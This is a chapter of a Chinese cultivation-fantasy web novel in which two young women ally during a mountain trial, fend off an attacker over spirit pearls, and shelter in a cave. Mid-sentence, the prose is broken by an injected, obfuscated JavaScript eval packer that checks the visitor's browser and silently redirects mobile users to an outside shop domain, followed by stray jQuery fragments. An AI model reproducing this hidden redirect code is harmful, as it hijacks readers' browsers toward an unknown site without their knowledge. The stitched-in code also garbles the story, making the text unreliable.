那个姑娘朝舒漾歪了歪头:“但是我不这么觉得哦。”
舒漾奇道:“你这么相信我?”
姑娘眨眨眼:“不是相信你。”
舒漾挑眉。
“是不相信他们。”她的目光扫过那些刚才还在嚼舌根的人,语气轻飘飘的,“那些人嘴上都这么脏,今天说你,明天可能就说我,跟他们在一起,说不定会发生什么不好的事。”
舒漾看了她两秒,嘴角微微弯了一下。
“……行。”
她朝姑娘伸出手:“那跟我一起?不过我事先说好,我也只会先保全我自己,万一跟那些人差不多,你可别怪我。”
姑娘噗嗤一笑:“知道啦,我也只会保全我自己,我叫青禾,你呢?”
“舒漾。”
青禾点了点头,两人对视一眼,算是暂时结盟了。
“走吧。”舒漾转身,朝落星山的方向走去。
试炼开始的信号一响,落星山像炸开了锅。
但舒漾没急着走,站在原地看着人群分流,跑得最快的那批人,十有八九会先打起来,跑得最慢的那批,大概率是靶子。
刚开始还是减少点存在感更好。
“走这边。”舒漾选了一条没人走的小路,抬脚就走。
青禾跟上来,脚步很轻,几乎没有声音,舒漾侧耳听了一下,心里暗暗点头——这人至少不笨,知道隐藏脚步。
走了大概一刻钟,身后的喧嚣声已经完全听不到了,周围只剩下溪水叮咚的声音和风吹过树梢的沙沙声。
舒漾停下来,靠着一棵大树。
“休息一下吧,”
她们刚刚把这一片大概都摸了一遍。溪流、断崖、水潭、山坡——哪里能藏人,哪里能跑路,哪里视野好,哪里容易被偷袭,舒漾在心里画了一张粗略的地图。
青禾跟在后面,一路走一路摘,袖子里塞满了各种草药,苦丁草、止血藤、驱虫蒿,还有些舒漾叫不出名字的东西。
“你摘这么多干嘛?”舒漾蹲在一块大石头后面,探出半个脑袋往山坡下看。
“备着。”青禾把一株开着小白花的草药小心地放进袖袋里,“万一受伤了,现找来不及。”
舒漾“哦”了一声,继续观察地形。
山坡下面是一条干涸的溪沟,两侧长满了齐腰深的杂草,风一吹就沙沙地响,溪沟的尽头连着一条窄窄的山道,两侧是密不透风的灌木丛,只留出一人宽的空隙。
舒漾盯着那条山道慢慢皱起了眉。
“如果有人要从这里过,”她指了指那条窄道,“只能一个一个走,排着队。”
青禾凑过来看了看:“那如果在两边埋伏……”
“对。”舒漾点头,“等第一个人走过去,从后面截断,中间的人就出不来了。”
青禾沉默了一瞬,小声说:“你想得好多。”
舒漾没接话,收回目光,从石头后面退下来。
“我以前也这样,”青禾忽然说,声音轻了一些,“我师父说我想太多,胆子太小,不适合修仙。”
舒漾转头看了她一眼。
“后来呢?”
“后来我师父死了。”青禾低下头,扯了一根草茎在手里慢慢地绕,“死在坏人手里,如果当时我想多一点,提前看出对方的意图,就不会这样了。”
“所以你改行学医了?”
青禾愣了一下,然后噗嗤笑出来:“不是改行,是……算了,差不多吧。”
舒漾点了点头:“挺好的。多想一点可以更谨慎,少想一点日子更快活。”
青禾看了她一眼,睫毛轻轻颤了一下,她低下头,把手里那根草茎绕成一个环,又松开,轻声说:“那你呢?你是多想的那种,还是少想的那种?”
“都有吧。”舒漾说,声音比平时低了一些,“该想的时候想,不该想的时候不想。”
青禾歪了歪头:“那你怎么知道什么时候该想,什么时候不该想?”
舒漾笑了一下:“赌。”
青禾愣了一下。
“赌对了,就是该想的时候。”舒漾站起来,拍了拍膝盖上的灰,“赌错了,就是不该想的时候。”
话音刚落,她的眼神突然变了。
“比如……现在!”
最后几个字她咬得很重,剑光火石之间,她猛地抽出自己的剑,利落地转身。
“铛——”
金属撞击的声音在安静的林子里炸开,震得树梢上的鸟扑棱棱飞起来。
舒漾的剑架住了另一把剑。
一把窄而长的剑,剑刃薄如蝉翼,通体泛着幽幽的蓝光。
剑的主人站在三步之外,一身墨蓝色的道袍,满脸灰尘,看起来经历了一场恶战。
“把灵珠交出来!”
舒漾压了压眉:“你让我交就交啊?”
对方的脸色又黑了几分,握剑的手青筋暴起,那把窄剑从下往上撩过来,直奔舒漾的咽喉。
舒漾没退,反而往前踏了一步,侧身,剑刃擦着她的耳廓飞过去,削断了几根碎发。
她甚至能闻到剑刃上残留的血腥味。
“这么狠?”舒漾嘴上不饶人,心里却有点发怵。
她把剑一横,朝对方手腕拍了下去。劣质铁剑没什么锋刃,但够重,拍实了能让人骨头裂开。
男人收剑回防,窄剑在手腕前一转,“叮”的一声,铁剑被格开了。舒漾的虎口震得发麻,剑差点脱手。她咬紧牙关,借着反弹的力道往后跳了一步,拉开距离。
“外门的?”男人盯着她手里的剑,嘴角浮起一丝轻蔑,“就这?”
舒漾没理他,甩了甩发麻的手。
几次交手下来,她已经摸清了对方的套路——剑快,但只有刺、撩、劈、扫,翻来覆去就那么几招。
“你就不能换个套路?”舒漾又一次侧身躲开他的刺击,“翻来覆去就这几下,你不腻我都替你腻了。”
男人的脸涨得通红,剑速又快了几分,但快了反而更乱,一剑刺空,身体跟着往前倾,重心不稳。
舒漾等的就是这个。
她转身躲开他的刺击,整个人像炮弹一样撞进他怀里,一肘顶上去,撞得对方身体一歪,摔了个四脚朝天。
舒漾没有给他爬起来的机会。一步跨上去,剑抵在他喉咙前。
“别动。”
男人躺在地上,胸口剧烈起伏着,眼睛里全是血丝,他瞪着舒漾:“你使诈。”
“使诈?”舒漾歪了歪头,喘着气,“我怎么使诈了?”
“你根本没有正面跟我打。”
“正面?”舒漾笑了,“你修为比我高,剑比我好,我跟你正面打?我脑子又没病。”
她低头看着他的腰——灵珠袋挂在腰侧,鼓鼓囊囊的。
她伸手解下来,在手里掂了掂。
“归我了。”
男人的脸涨得通红,嘴唇哆嗦着,却一个字也说不出来。
舒漾正准备站起来,余光忽然瞥到他的右手慢慢往腰
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494325|202396||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
间摸去——那里还别着一把短匕首。
她心里一跳,但已经来不及出剑了。
就在这时,一片翠绿色的叶子从她身后飞过来,不偏不倚,正好落在男人的脸上。
男人的动作僵住了。
他的眼神从凶狠变成茫然,又从茫然变成呆滞,眼皮像灌了铅一样往下坠,挣扎了两下,最终还是合上了。手从匕首上滑落,整个人瘫软下去。
舒漾转过头。
青禾站在三步外,手指还保持着弹射的姿势,指尖夹着另一片叶子。她的脸色有些白,额头上沁出一层薄汗,但眼神很平静。
“金纹眠叶,”她说,声音轻轻的,“一阶麻醉草药,能让人昏睡半个时辰。”
舒漾看了她两秒,又看了一眼地上已经睡死的男人,然后笑了。
“你不是说你不会打架吗?”
“我不会。”青禾认真地说,“但我会下药。”
舒漾笑出了声。
她从男人身上站起来,把灵珠袋塞进怀里,又把那把窄剑从地上捡起来,掂了掂。
“这把不错。”她把剑别在腰间。
青禾看了那把剑一眼:“你拿他的剑,他醒了会不会发疯?”
“发疯就发疯,”舒漾说,“反正他醒来也找不到我们了。”
她背着手慢悠悠地往回走,青禾跟上来。
走了几步,舒漾低头看了一眼自己身上,没有光,对方袋子里也就二十来颗,加上她原来的,还不够五十,暂时安全。
在之前观察地形的时候,她就注意到,灵珠数量多了会有颜色变化。五十颗以上泛淡绿,两百颗以上泛赤红。她现在离被盯上还早。色。
“青禾。”
“嗯?”
“你刚才那片叶子,要是没打中怎么办?”
青禾想了想:“那就亲自上咯。”
舒漾看了她一眼,嘴角弯了一下。
“行,你这个人,比我想象的有意思。”
“你也是。”青禾跟上来,和她并肩走着,“你比我想象的不正经。”
“那不叫不正经,”舒漾把腰间那把窄剑正了正,“那叫灵活应变。”
天黑的时候,她们找到了一个隐蔽的山洞。
洞口不大,里面却挺深,弯弯曲曲的,最里面有一个天然的石室,能挡风,生火也看不到光。
青禾捡了干柴,舒漾用火折子生了火,火光照亮了石壁,两个人的影子在墙上晃来晃去。
舒漾靠坐在石壁边,慢慢闭上眼,今天灵力用了一大半,虎口在对战过程中震得发麻,现在碰一下还带着丝丝痛感。
她在心里又默默过了一遍这次的战斗:对方的剑路、自己的失误、下次该怎么打。
第一天尚且如此,后面只会更激烈。
“舒漾。”
“嗯?”
冰凉的触感点在脸上,舒漾睁开眼,青禾正在拿手指戳她的脑袋。
舒漾闭着眼睛没有动弹:“冰凉凉的,好舒服。”
青禾道:“我是在给你施法。”
舒漾问:“施法?”
“对,可以隐秘气息。”青禾把脸也贴了过去,“这样你可以睡个好觉了。”
舒漾点了点头,也把脸往她那边蹭了蹭,明明是第一天认识的,照理来说不应该这么相信对方。
但是……舒漾的意识渐渐往下沉,半梦半醒间,青禾柔软的体温却给了她一点难言的安全感。
或许……偶然一下也没关系。